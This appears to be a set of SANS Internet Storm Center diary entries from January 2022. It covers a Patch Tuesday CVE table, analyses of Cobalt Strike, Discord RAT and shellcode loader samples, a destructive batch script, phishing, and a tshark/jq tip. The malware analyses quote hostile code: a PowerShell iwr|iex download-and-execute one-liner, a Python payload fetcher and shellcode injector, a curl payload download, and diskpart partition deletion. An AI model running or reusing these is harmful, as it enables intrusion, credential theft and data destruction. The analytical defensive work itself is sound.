%%cve:2022-21915%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
%%cve:2022-21880%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
Windows Geolocation Service Remote Code Execution Vulnerability
%%cve:2022-21878%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Hyper-V Denial of Service Vulnerability
%%cve:2022-21847%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
Windows Hyper-V Elevation of Privilege Vulnerability
%%cve:2022-21901%%	No	No	Less Likely	Less Likely	Important	9.0	7.8
Windows Hyper-V Security Feature Bypass Vulnerability
%%cve:2022-21900%%	No	No	Less Likely	Less Likely	Important	4.6	4.0
%%cve:2022-21905%%	No	No	Less Likely	Less Likely	Important	4.6	4.0
Windows IKE Extension Denial of Service Vulnerability
%%cve:2022-21843%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
%%cve:2022-21883%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
%%cve:2022-21848%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
%%cve:2022-21889%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
%%cve:2022-21890%%	No	No	Less Likely	Less Likely	Important	7.5	6.7
Windows IKE Extension Remote Code Execution Vulnerability
%%cve:2022-21849%%	No	No	Less Likely	Less Likely	Important	9.8	8.5
Windows Installer Elevation of Privilege Vulnerability
%%cve:2022-21908%%	No	No	More Likely	More Likely	Important	7.8	6.8
Windows Kerberos Elevation of Privilege Vulnerability
%%cve:2022-21920%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2022-21879%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
%%cve:2022-21881%%	No	No	More Likely	More Likely	Important	7.0	6.1
Windows Modern Execution Server Remote Code Execution Vulnerability
%%cve:2022-21888%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Push Notifications Apps Elevation Of Privilege Vulnerability
%%cve:2022-21867%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Windows Remote Access Connection Manager Elevation of Privilege Vulnerability
%%cve:2022-21885%%	No	No	More Likely	More Likely	Important	7.8	6.8
%%cve:2022-21914%%	No	No	More Likely	More Likely	Important	7.8	6.8
Windows Resilient File System (ReFS) Remote Code Execution Vulnerability
%%cve:2022-21892%%	No	No	Less Likely	Less Likely	Important	6.8	6.1
%%cve:2022-21958%%	No	No	Less Likely	Less Likely	Important	6.8	6.1
%%cve:2022-21959%%	No	No	Less Likely	Less Likely	Important	6.8	6.1
%%cve:2022-21960%%	No	No	Less Likely	Less Likely	Important	6.8	6.1
%%cve:2022-21961%%	No	No	Less Likely	Less Likely	Important	6.8	6.1
%%cve:2022-21962%%	No	No	Less Likely	Less Likely	Important	6.8	6.1
%%cve:2022-21963%%	No	No	Less Likely	Less Likely	Important	6.4	5.6
%%cve:2022-21928%%	No	No	Less Likely	Less Likely	Important	6.3	5.7
Windows Security Center API Remote Code Execution Vulnerability
%%cve:2022-21874%%	Yes	No	Less Likely	Less Likely	Important	7.8	6.8
Windows StateRepository API Server file Elevation of Privilege Vulnerability
%%cve:2022-21863%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Windows Storage Elevation of Privilege Vulnerability
%%cve:2022-21875%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Windows System Launcher Elevation of Privilege Vulnerability
%%cve:2022-21866%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Windows UI Immersive Server API Elevation of Privilege Vulnerability
%%cve:2022-21864%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Windows User Profile Service Elevation of Privilege Vulnerability
%%cve:2022-21919%%	Yes	No	More Likely	More Likely	Important	7.0	6.3
%%cve:2022-21895%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows User-mode Driver Framework Reflector Driver Elevation of Privilege Vulnerability
%%cve:2022-21834%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Workstation Service Remote Protocol Security Feature Bypass Vulnerability
%%cve:2022-21924%%	No	No	Less Likely	Less Likely	Important	5.3	4.8

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

There is also a video of this analysis.

Renato gives an extensive analysis of MSBuild and Cobalt Strike malware in diary entry "Attackers are abusing MSBuild to evade defenses and implant Cobalt Strike beacons".

I wanted to know if I could analyse these samples with my tools: this is the sample I looked at.
First I noticed a sequence of bytes (hexadecimal) that my base64dump.py tool should recognize as zxc encoding.

However, base64dump.py failed to recognize the complete sequence. First I assumed that the sequence contained some unexpected characters, but it turned out that was not the issue. With zxc encoding, base64dump.py looks for sequences of strings like 0x?? separated by commas (? represents an hexadecimal digit): my tool expects that each byte is encoded with 2 hexadecimal digits. And that is not the case in this sample:

Byte values smaller than 16 have no leading zero.

So I updated my base64dump.py tool to include another encoding: like zxc, but without leading zero. I called this encoding zxcn (n standing for no-leading-zeroes).

I use option "-e all" to try all encodings on the sample:

And with this new version, a very long sequence is detected: zxcn encoding, 1290778 characters long.

I run base64dump.py again, now only searching for zxcn encodings:

2 sequences are detected. Taking a closer look at the code in the sample, I notice that that second sequence is an XOR key that is used to decode the content of the first sequence:

 

That second sequence decodes to string uKIMvp, e.g., the XOR key I need to use to decode the payload.

I use my tool translate.py to do the XOR decoding like this:

This looks like a 64-bit Cobalt Strike PE file (notice magic header MZAR). Let's check with my tool pecheck.py:

It is indeed a PE file, and more precisely a 64-bit Cobalt Strike DLL. Thus my tool 1768.py is suited to extract the configuration:

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

TShark (Wireshark's command-line version) can output JSON data, as shown in diary entry "Quicktip: TShark's Options -e and -T".

jq is a JSON processor, that I've shown before in diary entries like "Retrieving and processing JSON data (BTC example)".

In this diary entry, I will show how to use tshark and jq to produce a list of unique IPv4 addresses.

This tshark command reads a capture file and produces JSON output for the ip.src field:

This JSON data is an array of dictionaries. To read and start processing this JSON data, I pipe the output to jq and use a filter to iterate over the array: .[]

Next I pipe this iteration output into ._source to select values for key _source:

And I do the same for keys layers and ip.src:

For ip.src, remark that this key contains a dot (.), and a dot has special meaning in jq filters: it's an operator. Thus, I need to escape it, like this: \"ip.src\".

Now I have an iteration of arrays, each one containing an IPv4 address. I index this array to select the first IPv4 address:

Remark that there can be more than on ip.src address inside a single packet, I will discuss this in an upcoming diary entry.

Next, I put this iteration of IPv4 addresses (strings, actually) into an array:

And now that I have an array of IPv4 addresses, I can pipe it into function unique to produce an array where each IPv4 address is unique (e.g., appears only once):

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

This week I already wrote a diary about "code reuse" in the malware landscape[1] but attackers also have plenty of tools to generate new samples on the fly. When you received a malicious Word documents, it has not been prepared by hand, it has been for sure automatically generated. Except if you're a "nice" target for attackers and victim of some kind of "APT". The keyword here is "automation". If defenders try to automate as much as possible, attackers too!

Today, Discord is often used by attackers as a nice C2 server[2] and we can find plenty of Python malware that interact with Discord. Most of them are info stealers. I already found plenty of such scripts but today I spotted something else. A script to generate your own RAT ("Remote Access Tool"). The script has a VT score of 7/56[3] (SHA256:f13433cc26702e7b6116e36629625cc798d0ad4b26aa782a551a38ec3dc8ab23). I had to fine tune a bit the script to make it work in my sandbox but the usage is pretty simple:

The script is very simple, it contains the RAT standard code and the provided token is injected into it:

file.write("""import winreg
import ctypes
import sys
import os
import ssl
import random
import threading
import time
import cv2
import subprocess
import discord
from comtypes import CLSCTX_ALL
from discord.ext import commands
from ctypes import *
import asyncio
import discord
from discord import utils
token = '~~TOKENHERE~~'
global appdata
appdata = os.getenv('APPDATA')
client = discord.Client()
bot = commands.Bot(command_prefix='!')
...
...
""".replace("~~TOKENHERE~~", tokenbot))

You can see that the script asks if the script must be compiled. This is achieved using the pyinstaller[4] module.Once completed, you will have a fully standalone PE file ready to be sent to your victims. I uploaded my sample to VT and it got a score of 10/67, not so bad from an attacker's point of view.

Here is a quick overview of the supported bot commands:

!kill	Kill the bot (disconnect from Discord)
!dumpkeylogger	Dump captured keys to the Discoard channel
!exit	Exit the bot (process)
!windowstart	Start Window logging
!windowstop	Stop Window logging
!screenshot	Take a screenshot
!webcampic	Take picture with the webcam
!message	Display a message on the desktop (via MessageBoxW())
!wallpaper	Change the desktop background
!upload	Upload a file
!shell	Remote command execution
!download	Download a file
!cd	Change current directory
!help	Because attackers need some help too :-)
!write	Write something (like on the keyboard)
!clipboard	Get clipboard data
!sysinfo	Collect system information
!geolocate	Collect GeoIP details about the victim
!admincheck	Check if bot is running with admin privileges
!uacbypass	Try UAC privileges escalation
!startkeylogger	Start the keylogger
!stopkeylogger	Stop the keylogger
!blockinput	Annoy the user[5]
!unblockinput	Release the user
!streamwebcam	Start webcam recording
!stopwebcam	Stop webcal recording
!getdiscordinfo	What about the Discord session?
!streamscreen	Record multiple screenshots
!stopscreen	Stop screen streaming
!shutdown	Stop the victim's computer
!restart	Reboot the victim's computer
!logoff	Logoff the current user
!bluescreen	Generate a BSOD (!)
!currentdir	Print current directory
!displaydir	List files in the direcotry
!dateandtime	Return the victim's computer date & time
!listprocess	Return the list of running processes
!prockill	Try to kill a process
!recscreen	Record a video from screen
!reccam	Record a video from webcam
!recaudio	Record a wav from the internal mic
!delete	Delete a file
!disableantivirus	Try to disable the AV
!disablefirewall	Try to disable the firewall
!audio	Play a record file
!selfdestruct	Try to wipe the computer
!windowspass	Try to collect system credentials
!displayoff	Turn off display
!displayon	Turn on display
!hide	Try to hide a file ("attrib +h")
!unhide	Try to unhide a file
!decode	Decode Base64
!ejectcd	Open CD tray
!retractcd	Close CD tray
!critproc	Set process as critical
!website	Visit a webpage
!distaskmgr	Try to disable the task manager
!enbtaskmgr	Try to re-enable the task manager
!getwifipass	Exfiltrate Wifi passwords

[1] https://isc.sans.edu/forums/diary/Code+Reuse+In+the+Malware+Landscape/28216/
[2] https://crawl3r.github.io/2020-01-25/DaaC2
[3] https://www.virustotal.com/gui/file/f13433cc26702e7b6116e36629625cc798d0ad4b26aa782a551a38ec3dc8ab23/details
[4] https://pypi.org/project/pyinstaller/
[5] https://isc.sans.edu/forums/diary/A+Simple+Batch+File+That+Blocks+People/28212/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

This week I found a lot of interesting scripts as this is my fourth diary in a row! I spotted a Python script that targets Chinese people. The script has a very low VT score (2/56) (SHA256:aaec7f4829445c89237694a654a731ee5a52fae9486b1d2bce5767d1ec30c7fb). How attackers can restricts their surface attack to some regions, countries or people?

The script implements a simple direct API call using the ctypes library:

dll_h = ctypes.windll.kernel32
if (dll_h.GetSystemDefaultUILanguage() != 2052):
    print(1)
    #exit(0)

GetSystemDefaultUILanguage() is a Microsoft API call that returns the system default UI language of the operating system[1]. If the language code is not 2052, the script exits. The valid 2052 correspond to "Simplified Chinese"[2]. Note that the script uploaded to VT was probably still being debugged or developed because exit() has been commented.

I had a look at the script which decoded a shell code using a Base85 encoding:

global c
url = 'hxxp://fileserverhk[.]oss-cn-hongkong[.]aliyuncs[.]com/home/js/js.js'
req = urllib.request.Request(url)
data = urllib.request.urlopen(req).read()
key0 = data[:1]
key1 = data[-5:]
key2 = data[1:len(data)-5]
c = b''.fromhex(key2.replace(key1,key0).decode())
c = base64.b85decode(c)

The shellcode downloads the next stage:

Loaded 348 bytes from file C:\Users\REM\Desktop\c.bin
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000

4010a2  LoadLibraryA(wininet)
4010b5  InternetOpenA()
4010d1  InternetConnectA(server: adult[.]up-flash[.]com, port: 8443, )

The shellcode is injected using an Base16/Hex/Base85 encoded code:

def decrypt_eval(str):
    global c
    s1 = base64.b16decode(str.encode()).decode()
    s2 = b''.fromhex(s1)
    s3 = base64.b85decode(s2)
    exec(s3.decode())

The decoded code is classic:

import ctypes;
wiseZERld = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(c)),ctypes.c_int(0x3000),ctypes.c_int(0x40));
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(wiseZERld), c, ctypes.c_int(len(c)));
x = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(wiseZERld),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)));
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(x),ctypes.c_int(-1));

You can find more information in the shellcode to generate the complete URL. The URI is readable and a User-Agent. It must be provided to fetch the content otherwise, an error is returned:

curl -o payload.bin -A "Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; RM-1152) AppleWebKit/537.36 (KHTML, like Gecko)" https://adult.up-flash.com:8443/files/ch.jpg

The payload seems encrypted  but I did not find a way to decode it yet. When the payload is executed in a sandbox, it tries to fetch the following URL but a 404 error is returned:

https://adult.up-flash.com:8443/r_config/

There is another behaviour in the Python script and I don't see the purpose of this. Web services are created and binded to the loopback on multiple high-ports:

self.ports = [45990, 44792, 56390, 31590, 32790, 48790, 13080, 25980, 34680, 47980, 51380, 61080]

The webserver just returns a string "c_online_s":

  def handler(self, port):
        ip_port = ('127.0.0.1', port)
        back_log = 10
        buffer_size = 1024
        webserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        webserver.bind(ip_port)
        webserver.listen(back_log)
        while True:
            try:
                conn, addr = webserver.accept()
                if port in self.ports:
                    self.init = True
                recvdata = conn.recv(buffer_size)
                conn.sendall(bytes("HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\n\r\n", "utf-8"))
                conn.sendall(bytes("c_online_s", "utf-8"))
                conn.close()
            except:
                pass

I've no idea about the purpose of this. If you have suggestions, please share!

[1] https://docs.microsoft.com/en-us/windows/win32/api/winnls/nf-winnls-getsystemdefaultuilanguage
[2] https://www.autoitscript.com/autoit3/docs/appendix/OSLangCodes.htm

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Code re-use is classic behavior for many developers and this looks legit: Why reinvent the wheel if you can find some pieces of code that do what you are trying to achieve? If you publish a nice piece of code on platforms like GitHub, there are chances that your project will be used and sometimes forked by other developers who will add features, fix issues, etc. That's the magic of the Internet. But attackers are also looking for interesting code to borrow on GitHub. A few weeks ago, I wrote a diary about Excel Add-In's[1] used to distribute malware.

This morning,I spotted another campaign that uses the same technique. Emails are sent to victims asking them to have a look at important documents. The payload is delivered in a ZIP archive "Attachments.zip". The archive contains two XLL files:

remnux@remnux:/MalwareZoo/20220105$ unzip -t Attachments.zip 
Archive:  Attachments.zip
    testing: Proposal Listing.xll     OK
    testing: Proposal Listing continue.xll   OK
No errors detected in compressed data of Attachments.zip.

Both files are indeed Excel Add-In both for different architectures:

remnux@remnux:/MalwareZoo/20220105$ file Proposal\ Listing*
Proposal Listing continue.xll: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Proposal Listing.xll:          PE32+ executable (DLL) (GUI) x86-64, for MS Windows

These XLL files are interesting because they are based on a project called ExcelDNA:

remnux@remnux:/MalwareZoo/20220105$ pedump Proposal\ Listing\ continue.xll |tail -28
=== VERSION INFO ===

# VS_FIXEDFILEINFO:
  FileVersion         :  1.1.0.3
  ProductVersion      :  1.1.0.3
  StrucVersion        :  0x10000
  FileFlagsMask       :  0x17
  FileFlags           :  0
  FileOS              :  4
  FileType            :  2
  FileSubtype         :  0

# StringTable 080004b0:
  Comments            :  "Unmanaged loader shim for Excel-DNA Add-Ins"
  CompanyName         :  "Govert van Drimmelen"
  FileDescription     :  "Excel-DNA Dynamic Link Library"
  FileVersion         :  "1.1.0.3"
  InternalName        :  "ExcelDna"
  LegalCopyright      :  "Copyright (C) 2005-2020 Govert van Drimmelen"
  OriginalFilename    :  "ExcelDna.xll"
  ProductName         :  "Excel-DNA Add-In Framework for Microsoft Excel"
  ProductVersion      :  "1.1"

  VarFileInfo         :  [ 0x800, 0x4b0 ]

=== Packer / Compiler ===

  MS Visual C++ 6.0 - 8.0

Searching for "Govert van Drimmelen" will redirect you to a GitHub project[2]. And to confirm the code re-use, we can search for code similarities:

97% of the code is common with the ExcelDna sample Add-In! (Source: Intezer Analyze). The dropped malware is an info stealer. Malware families sometimes share a lot of "bad" code but malware developers are also looking for interesting "safe" code!

[1] https://isc.sans.edu/forums/diary/Downloader+Disguised+as+Excel+AddIn+XLL/28052
[2] https://github.com/govert/ExcelDna

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

I found another script that performs malicious actions. It’s a simple batch file (.bat) that is not obfuscated but it has a very low VT score (1/53). The file hash is cc8ae359b629bc40ec6151ddffae21ec8cbfbcf7ca7bda9b3d9687ca05b1d584. The file is detected by only one antivirus that triggered on the “shutdown.exe” located at the end of the script! Why is this script annoying people? Because it uses the BlockInput() API call through a PowerShell one-liner:

powershell -exec bypass -w h -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('hxxps://phoenixthrush[.]com/payloads/scripts/disabling_user_input/disable_user_input.ps1')|iex"

IWR is the abbreviated PowerShell command Invoke-WebRequest (like IEX and Invoke-Expression)

Here is the PowerShell code downloaded and executed:

# requires Administrator
$code = @'
  [DllImport("user32.dll")]
  public static extern bool BlockInput(bool fBlockIt);
'@

$userInput = Add-Type -MemberDefinition $code -Name Blocker -Namespace UserInput -PassThru

# block user input
$null = $userInput::BlockInput($true)

If you don’t know what is the purpose of the BlockInput() API call[1]. The function expects one parameter: TRUE or FALSE. When TRUE is passed, it blocks keyboard and mouse input events from reaching applications. From the user’s point of view, it means that no interaction is possible with the computer until the API is called a second time with “FALSE”. This API is provided by Microsoft to prevent the user to perform actions when the computer executes sensitive operations.

Tip: most people don’t know but there is a way to “unlock” the computer: Just press Ctrl-Alt-Delete then select "Cancel".

The next one-liner used reconfigures the way the power button works:

powershell -exec bypass -w h -c "powercfg -setacvalueindex scheme_balanced sub_buttons pbuttonaction 0"

powercfg.exe is a standard tool provided by Microsoft[2] that allows interaction with power schemes.

Then, the script drops two scripts on the target:

set WshShell = wscript.createobject("WScript.shell")
WshShell.run """C:\Windows\Temp\x.bat"" ", 0, true

The file x.bat is a long script that destroys the victim's computer. Here are some pieces of code:

:: deleting some Windows partitions
echo Select Disk 0 >> y.txt
echo Select Partition 2 >> y.txt
echo Delete Partition Override >> y.txt
echo Select Partition 4 >> y.txt
echo Delete Partition Override >> y.txt
diskpart /s y.txt  >nul

Or:

:: creating a message box
echo msgbox"stupid b*tch",0 , "get rekt, ur PC has been f*cked" >> y.vbs

That's the first time that I see a call to BlockInput() in a batch file. This is a common anti-debugging technique implemented by malware to prevent the Analyst to interact with the debugger.

[1] https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-blockinput
[2] https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/powercfg-command-line-options

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

I spotted this interesting phishing campaign that (ab)uses the McAfee antivirus to make people scared. It starts with a classic email that notifies the targeted user that a McAfee subscription expired:

The mail is not very well designed but it attracts the victim because it uses classic social engineering techniques:

• The fear: there is an issue with the antivirus product
• The interest: a huge discount is offered (80%)
• The pressure: this is a limited offer in time (only today). Note that the phisher did not change the discount expiration date (March 14, 2021).

When the victim clicks on the "Buy now" link, the following URL is reached: 

hxxps://r-trk[.]loumous[.]com/ga/click/2-51298608-3418-77390-152728-118643-69c53876cd-1807191af3

This website simulated an antivirus scan and, of course, the computer is infected by multiple malware! If the email is very simple, the fake scan is pretty well designed. I recorded a quick video to show it to you[1]:

I was late to get access to the next stage, it was already removed. We can presume that the attackers were trying to collect credentials and/or billing details.

[1] https://www.youtube.com/watch?v=44XAIh2ri54

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Another issue affecting onPrem Exchange servers (bug affect 2016 & 2019) has been made public today where emails are trapped in the transport queues, this is related to a date check failure with the change of the new year. Microsoft has confirmed this is not a security related issue.

Microsoft is working on a patch and has released a workaround posted here.

[1] https://techcommunity.microsoft.com/t5/exchange-team-blog/email-stuck-in-transport-queues/ba-p/3049447
[2] https://social.technet.microsoft.com/Forums/exchange/en-US/136b0705-6326-42c0-bff0-a6412fc84fb2/message-deferred-by-categorizer?forum=exchangesvrsecuremessaging
-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Last year, my professional relationship with computers entered its 30th year (in other words: for 30 years now, I'm getting paid to work with computers).

One of the things I learned over this period is: "in IT, expect regression".

With regression, I mean this definition: "the process of going back to an earlier or less advanced form or state".

I've seen this happen several times with IT security systems.

For example, a proxy that is configured to block certain web site categories, no longer blocks these web sites, but grants access. It happens for various reasons, but typically, it will happen when a configuration change is made. For example, a new category is supposed to be blocked, but this new catagory is added to an onbsolete configuration file, that is then pushed to the proxies. Result: previous categories that were blocked, are no longer blocked.

Another example: a firewall that is supposed to block all egress traffic, except for typical web traffic ports like 80, 443, ..., no longer drops this traffic. This too happened with a configuration change, this time under the assumption that the egress blocking would be done by another network device.

What is typical about such regressions: you don't notice them immediately, and staff will not create helpdesk tickets for regressions that don't hinder them. If users are all of a sudden granted access to a web site that used to be blocked, they will not contact the helpdesk to report this ...

Such regressions should be catched by proper release management, but in many cases that I observed, solid release management was in place at that organisation.

Over the years, this has thaught me one thing: "expect unannounced regressions to happen".

This has changed my behavior in 2 ways:

1) I strive to conduct regular regression tests: check that security policies that are supposed to be enforced, are still enforced

2) When performing incident response, when in doubt that a certain security policy is truly enforced, test it or gather evidence to the contrary.

 

Please post a comment if you have examples of unexpected regressions that you've seen happen during your job.

 

Best wishes for 2022 from all of us at the SANS Internet Storm Center!

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com